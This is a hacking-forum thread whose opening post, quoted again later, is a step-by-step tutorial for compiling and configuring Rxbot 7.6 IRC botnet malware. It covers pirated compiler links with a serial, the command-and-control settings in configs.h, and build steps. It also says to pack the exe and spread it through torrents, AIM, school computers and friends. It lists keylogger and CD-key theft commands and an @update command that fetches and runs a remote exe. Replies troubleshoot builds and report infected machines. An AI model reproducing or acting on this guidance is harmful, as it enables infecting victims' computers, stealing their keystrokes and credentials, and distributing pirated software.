Thread: [\[TUT\]How to creat a Botnet\[TUT\]](#)

Wireshark - February 25, 2009, 9:40 pm

[warn]

I. Setting up the C++ compiler: (easy)

1. Download Microsoft Visual C++ 6.0 Standard Edition

here - http://#.com/files/125980189/msc_.rar.html

Pass: itzforblitz

Serial: 812-2224558

2. Run setup.exe and install. Remember to input serial

3. Download and install Service Pack 6

here - <http://#.com/files/125983507/Vs6sp6.rar>

NOTE: Replace Mcft with Micro.soft (do not include the ".")

4. After that Download and install the Windows Platform SDK:

here - <http://#.com/files/125983830/sdk.rar>

Pass: itzforblitz

--

II. Configuring the C++ compiler (easy)

1. Open up Microsoft Visual C++ Compiler 6.0

2. Go to Tools > Options and Click the "Directories" tab

3. Now, browse to these directories and add them to the list: (Click the dotted box to add)

Quote:

```
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\LIB
```

4. Now put them in this order: (use up and down arrows)

(it does not matter whats below those lines)

--

III. Configuring your bot: (easy)

1. Download and unpack: This botsource:

here - <http://#.com/files/125984396/botnetsorce.rar>

2. You should see an Rxbot 7.6 folder

3. Open the Rxbot 7.6 > configs.h folder and edit these lines only:

Quote:

Put in quotations:

```
char password[] = "Bot_login_pass"; // bot password (Ex: monkey)
char server[] = "aenigma.gotd.org"; // server (Ex: irc.efnet.net)
char serverpass[] = ""; // server password (not usually needed)
char channel[] = "#botz_channel"; // channel that the bot should join
char chanpass[] = "My_channel_pass"; // channel password
```

Optional:

```
char server2[] = ""; // backup server
char channel2[] = ""; // backup channel
char chanpass2[] = ""; //Backup channel pass
```

--

IV. Building your bot: (very easy)

1. Make sure Microsoft Visual C++ is open

2. Select "File > Open Workspace"

3. Browse to your Rxbot 7.6 folder and open the rBot.dsw file

4. Right Click "rBot Files" and click Build:

5. rBot.exe will be in the Rxbot 7.6 > Debug folder !!!

YOUR DONE !!!! Now get the rbot and pack it (Use tool in third post and open rbot and click "Protect" and send it to some idiots, Some good ways are: Torrents, AIM, Friends, Myspace, School computers, and P2P but there are more ways. ENJOY !

--

Command list

download here - <http://#.com/files/125984564/cmands.rar>

Basics:

.login botpassword will login bots

.logout will logout bots

.keylog on will turn keylogger on

.getcdkeys will retrieve cdkeys.

Read command list for more

--

Download mIRC

here - <http://#.com/files/125984723/mirc632.rar>

--

How to secure your bots:

Don't be an idiot, it is easy to steal bots. All you need is the irc server address and maybe a key.

To steal bots, watch for the @login key one must upload their bot to a direct link (tdotnetwork is excellent)

and update the channel topic and run:

Quote:

@update hxxp://mybot.com/download/SMSPRO.exe 82

To secure your self:

It is fairly easy to secure your bots, here is how:

1. When you are in your right click on your chat window and select "Channel Modes"
2. Make sure these options are checked:

secret and private also key (xxxx)

This way no one besides you or another op can set the channel topic Smile
Remember to make your key the same as your channel password.

--

Good IRC Servers:

irc.wotnet.com is bot friendly as long as the bots do not harm the server or other users
and Zerofusion (look in mIRC) is bot friendly.

If you would like to setup a botnet on a certain server, do not intrude and make one. Talk to the admin and make sure he know that the IRC server is not doing anything illegal. If an Admin refuses, don't get angry. It is his/her server after all.

ellusoft - February 26, 2009, 2:02 am

Nice..thanx

Wireshark - February 27, 2009, 8:18 pm

Yeah no problem man! Lawl I like your sig btw.

jojogizmojake - February 27, 2009, 8:21 pm

i have seen this tutorial before

corruptionN - February 27, 2009, 8:22 pm

..lol?

you didn't make this.

I've seen it posted dozens of times before.

GhostExodus - February 27, 2009, 10:31 pm

very nice tutorial m8, keep updating us on good material such as this.

sevenfold - March 2, 2009, 4:27 pm

This isn't yours, give credit.

â™¥_%Heart%_â™¥ - March 2, 2009, 6:35 pm

Can't remember where but I know I read this like two nights ago. Thanks for posting though, always nice to have as much info on hand as possible, just give due credit.

The Hacker Helper - March 2, 2009, 6:43 pm

DUDE STOP POSTING THIS SHIT I FOUND LIKE 20 POSTS WITH THE SAME EXACT THING MAN! ATLEAST CHANGE IT UP A BIT! IVE SEEN THIS OVER THE INTERNET ATLEAS 200 TIMES ALREADY IF YOU DOT WANNA GO THROUGH THE HASSLE JUST DOWNLOAD SHOCKS BOTNET!

Crashtard - April 8, 2009, 7:42 pm

ty for help :D thx good post

Morph3s - April 9, 2009, 1:16 pm

really nice tut ;D

MSG

mazodude - April 10, 2009, 12:20 am

thx for the tut :D
its great

FireFLame - April 10, 2009, 12:30 am

Lol its great but i must learn a lot of this;)

Popc0rn! - April 10, 2009, 1:10 am

such an old tut. its okay but not the best, doesnt deserve to be this viral.

Shyster - April 10, 2009, 12:51 pm

This has been posted, what, maybe 200 times? And you ask for +rep before? Hahaha.

Jettboi93 - April 21, 2009, 1:05 pm

Nice post got to give it to ya! Just wish it was in VB 2008!

BestCodes - April 22, 2009, 8:38 am

Hello,

I have 49 errors when I compile :

rBot.exe - 49 error(s), 0 warning(s)

Help me please
It's a problem with your compiler.

BestCodes - April 22, 2009, 12:24 pm

I have install Microsoft Visual C++ 6.0 Standard Edition.
I have already uninstall and reinstall but it's the problem is not resolved.
A solution ?

FeAR Being - April 22, 2009, 1:45 pm

(Apr 22, 2009 12:24 PM)BestCodes Wrote: [\[CITE\]](#) I have install Microsoft Visual C++ 6.0 Standard Edition.
I have already uninstall and reinstall but it's the problem is not resolved.
A solution ?
It's the COMPILER.Install the SDK and configure it properly.

Skywalker hack - April 22, 2009, 6:33 pm

Thx for tut! But rBot isn't recommended for do botnets today ;)

BestCodes - April 22, 2009, 10:47 pm

I have already configured SDK, but it's not resolved...

Help me please

I have the same problem... Someone know why?
I do all step by step no error... Please help me ?

BitzDefender - May 15, 2009, 8:35 pm

I found your tutorial a work of art and i have managed to complete it. but after compiling my bot and running it, there is nothing appearing in my irc client. i know all of the settings are correct, do you have any ideas. i can connect to my irc server but no bots are showing, help would be apreciated, cr0ss

(May 15, 2009 08:35 PM)jakejohnstone Wrote: [\[CITE\]](#) I found your tutorial a work of art and i have managed to complete it. but after compiling my bot and running it, there is nothing appearing in my irc client. i know all of the settings are correct, do you have any ideas. i can connect to my irc server but no bots are showing, help would be apreciated, cr0ssYou have to spread the bots and infect others for them to show up. If you want to make sure its working 100% infect yourself with your bot and you should pop up. If not redo it.

Also dont forget to secure your bot. They are easily stolen.

iBH DeRaJ - May 18, 2009, 2:28 am

This tut has been posted everywhere... Ive even seen it on Hack Forums posted by other memebbers? Even on other websites... I know its the same tut bc its word for word.. and 400 diff people arent going to come up with the same tut word for word?

kream cheese - May 21, 2009, 9:46 pm

Nice tutorial whoever it may belong to

monev88 - May 23, 2009, 10:16 am

i keep getting this error when trying to compile rbot..

fatal error C1083: Cannot open compiler intermediate file: 'c:\temp\la03380in': Permission denied
Error executing cl.exe.

i've tried changing the temp/tmp environment variable from %userprofile%\localsettings\temp to c:\temp but the same error keeps coming up. anyone know a solution to this?

trytohaxme - May 24, 2009, 3:16 pm

Wow too hard, can you just botnet some1 for me?

sp4 - May 25, 2009, 2:11 am

my trend micro RUBotted says one bot found nd am unable to fix it

kiddies - May 25, 2009, 9:51 pm

thanks for share here.....now i understand to make n compile a botnet....

Daniel6505 - May 26, 2009, 12:04 am

can you just send me the programs you listed in a zip file so i dont have to get them one at a time

luc1f3r - May 26, 2009, 10:38 am

nice tutorial, pretty basic and clear.
Kudos!

carelesmind - May 28, 2009, 4:31 pm

Help me please

easy to fix, i had the same problem, when in the c++ editor, go to tools->options->directories, and

when you added the sdk, make all of them appear at the very top, so if you had opened it for the first time, well say that those directories would be

"x"

then when you added the sdk, (sdk, well say, is "y")
it probably looked like

"x"

"y"

but you have to move "y" above "x" so its

"y"

"x"

a.k.a.

"sdk direcories ABOVE the original directories.

i dont mean to be complicated, but im havin a metal blok right now... lol :)

legend2memba - May 28, 2009, 5:12 pm

nice post.. long post.. lol

enirem - May 29, 2009, 8:00 am

Hi,

Problem solved by the previous POST.

PS : I'm a not english so please excuse me for my english.

Enirem

sivage - May 30, 2009, 3:26 am

thx for the tut, already got 6 pc's in my network xD

Failzorro - May 30, 2009, 10:27 pm

I get 156 errors and 51 warnings when i try to Right Click "rBot Files" and click Build

Message is too long so i put it in a text file which can be downloaded at

<http://#.com/files/239119971/errors.txt.html>

Regards

Security-Root - May 31, 2009, 8:20 am

Very good tut m8! this help me. :)

From: Security-Root

jojekmc - May 31, 2009, 11:20 am

I have problem, commands doesn't work :/ i write command like in command list and nothing work :/

sanitarium6996 - June 3, 2009, 4:17 am

Can anyone help me with this error:

Yeah dude It's a great TuT but you have to give credit from where you got this from. I remember seeing this on Unkn0wn.ws AGES ago.

Hexen - June 4, 2009, 8:42 pm

Good what a great tutorial on this botnet thanks.

opusx - June 5, 2009, 6:11 am

Thanks for the tut. Great post :)

jammie999 - June 5, 2009, 8:49 am

Hi how do I setup a IRC channel for this to work (sorry if this sounds noobish)

å??å??å??CAMİŽRONå??å??å?? - June 6, 2009, 8:15 am

Thanks Im working on this now!

legend2memba - June 6, 2009, 8:39 am

uh.. i think i saw this somewhere also. thanks for the post though, give credit?

Pauwelz - June 11, 2009, 11:19 am

you say its easy to install the compiler, i got the error message Could't find acme setup.

carelesmind - June 12, 2009, 1:18 am

ok, i set this up on another computer, without a problem, now im seting it up on another computer, and im getting...

fatal error C1083: Cannot open compiler intermediate file:
'C:\DOCUME~1***~1.***\LOCALS~1\Temp\A01876in': Permission denied

when i try to compile, its the only error, cant seem to figure out what to do.

the * is for security, but you should get it

if i hit f1 on the message, it says i need to re-install the msdn? should i?

Cyberworms - August 10, 2009, 4:44 pm

Thanks for the TUT! Really Greate! :D

munchies23 - March 11, 2010, 8:38 pm

to bad u didnt make it sorry

iVanish - March 12, 2010, 2:49 am

Stop asking for +Rep and

This tutorial has been posted oever 5 times please use the search button before you post..

~iVanish

ownage05 - April 16, 2010, 11:10 am

thank you very much!

c0ded - April 16, 2010, 11:52 am

Scan to make. Scan what 201.x.x.x full command[KBSC] 21::00 <KelebekTurkce415> .clone load irc.mystatus.com #x

[KBSC] 21::00 <[M]Atay|289508> [CLONES]: Created on load:0, in channel #x.

Generate clone error gives server does not put boots

sa5n1p3r - April 16, 2010, 12:31 pm

OLDASFUCK. Give credit.

.InSaNe - April 16, 2010, 12:33 pm

kinda Looks like legyms but whatever Nice tut

DisRepect DisConnect - April 16, 2010, 12:37 pm

THANK YOU so much ive looked every where 4 this tut ppl say theres a million posts about this but i havent seen not 1

Hacksz - April 16, 2010, 12:45 pm

can someone give me command list for zer0xmod?

Minus-Zero - April 16, 2010, 1:01 pm

-3 time kk?

Dont copy and paste stickys.

Kewlhotrod - April 16, 2010, 2:26 pm

I don't see any C&P. Searched in Legym's and here...

Hell, Legym's doesn't even have the word 'configuring' on it.

<- Black Hat -> - April 27, 2010, 1:01 pm

Try making a Windows vista tutorial on setting up a botnet. Theres got to be a way to do it. I think its just gunna be all updates for the installation setup.

snipy - April 29, 2010, 11:12 am

guys botnet 87.51.186.21

Nixon - April 29, 2010, 11:19 am

(Apr 29, 2010 11:12 AM)snipy Wrote: [\[CITE\]](#) guys botnet xx.xx.xxx.xx

I believe posting Ip addresses is against the rules?

Win32.[J]ack[B]arr.dll - April 29, 2010, 1:56 pm

i find these so hard to understand :/ lol

Apathetic - June 8, 2010, 5:43 pm

NOTE: Replace Mcft with Micro.soft (do not include the ".")

where is it

Apathetic - June 8, 2010, 9:29 pm

will someone make a youtube video tutorial on this I will Love them("no homo"), I have tried setting this up for the past few days and fail while building bot

Apathetic - June 8, 2010, 10:34 pm

rBot.exe - 49 error(s), 0 warning(s)

I checked the directory sal.h is not there how do i fix it!

Lt Mays - June 9, 2010, 12:40 am

i keep getting error

cannot link /debug.exe

Apathetic - June 9, 2010, 9:51 am

why don't the one who made this post help someone

Danieldude - June 15, 2010, 7:32 pm

thanx m8 very good guide! :D :D =)

South Park - June 15, 2010, 7:34 pm

(Feb 25, 2009 10:40 PM)Wireshark Wrote: [\[CITE\]](#) [warn]

I. Setting up the C++ compiler: (easy)

1. Download Microsoft Visual C++ 6.0 Standard Edition

here - http://#.com/files/125980189/msc_.rar.html

Pass: itzforblitz

Serial: 812-2224558

2. Run setup.exe and install. Remember to input serial

3. Download and install Service Pack 6

here - <http://#.com/files/125983507/Vs6sp6.rar>

NOTE: Replace Mcft with Micro.soft (do not include the ".")

4. After that Download and install the Windows Platform SDK:

here - <http://#.com/files/125983830/sdk.rar>

Pass: itzforblitz

--

II. Configuring the C++ compiler (easy)

1. Open up Microsoft Visual C++ Compiler 6.0

2. Go to Tools > Options and Click the "Directories" tab

3. Now, browse to these directories and add them to the list: (Click the dotted box to add)

Quote:

```
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK  
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\BIN  
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\INCLUDE  
C:\PROGRAM FILES\MICROSOFT PLATFORM SDK\LIB
```

4. Now put them in this order: (use up and down arrows)

(it does not matter what's below those lines)

--

III. Configuring your bot: (easy)

1. Download and unpack: This botsource:

here - <http://#.com/files/125984396/botnetsorce.rar>

2. You should see an Rxbot 7.6 folder
3. Open the Rxbot 7.6 > configs.h folder and edit these lines only:

Quote:

Put in quotations:

```
char password[] = "Bot_login_pass"; // bot password (Ex: monkey)
char server[] = "aenigma.gotd.org"; // server (Ex: irc.efnet.net)
char serverpass[] = ""; // server password (not usually needed)
char channel[] = "#botz_channel"; // channel that the bot should join
char chanpass[] = "My_channel_pass"; // channel password
```

Optional:

```
char server2[] = ""; // backup server
char channel2[] = ""; // backup channel
char chanpass2[] = ""; //Backup channel pass
```

--

IV. Building your bot: (very easy)

1. Make sure Microsoft Visual C++ is open
 2. Select "File > Open Workspace"
 3. Browse to your Rxbot 7.6 folder and open the rBot.dsw file
 4. Right Click "rBot Files" and click Build:
5. rBot.exe will be in the Rxbot 7.6 > Debug folder !!!

YOUR DONE !!!! Now get the rbot and pack it (Use tool in third post and open rbot and click "Protect" and send it to some idiots, Some good ways are: Torrents, AIM, Friends, Myspace, School computers, and P2P but there are more ways. ENJOY !

--

Command list

download here - <http://#.com/files/125984564/cmands.rar>

Basics:

```
.login botpassword will login bots
.logout will logout bots
.keylog on will turn keylogger on
.getcdkeys will retrieve cdkeys.
Read command list for more
```

--

Download mIRC

here - <http://#.com/files/125984723/mirc632.rar>

--

How to secure your bots:

Don't be an idiot, it is easy to steal bots. All you need is the irc server address and maybe a key. To steal bots, watch for the @login key one must upload their bot to a direct link (tdotnetwork is

excellent)

and update the channel topic and run:

Quote:

@update hxxp://mybot.com/download/SMSPRO.exe 82

To secure your self:

It is fairly easy to secure your bots, here is how:

1. When you are in your right click on your chat window and select "Channel Modes"
2. Make sure these options are checked:

secret and private also key (xxxx)

This way no one besides you or another op can set the channel topic Smile

Remember to make your key the same as your channel password.

--

Good IRC Servers:

irc.wotnet.com is bot friendly as long as the bots do not harm the server or other users
and Zerofusion (look in mIRC) is bot friendly.

If you would like to setup a botnet on a certain server, do not intrude and make one. Talk to the admin and make sure he know that the IRC server is not doing anything illegal. If an Admin refuses, don't get angry. It is his/her server after all.

--

--

--

I HIGHLY recommend you l2spell....

"How to creat a botnet"

You kidding me?

Junior91 - June 28, 2010, 9:02 am

hey why i get error at compiling can you please tell me please

Methanity - June 28, 2010, 10:16 am

This isnt yours. Give credits to the REAL creator, you cant even spell "create" correct ...

BigKesh - June 28, 2010, 10:17 am

I think Stel128 posted this some decades ago on uNk.

Lt Mays - June 28, 2010, 3:29 pm

i will make a video on how to setup

magakhos - July 2, 2011, 9:52 am

thanks!!!? very helpfull

METALL777 - July 24, 2011, 11:27 pm

thank you brother this is very helpfull for me ?
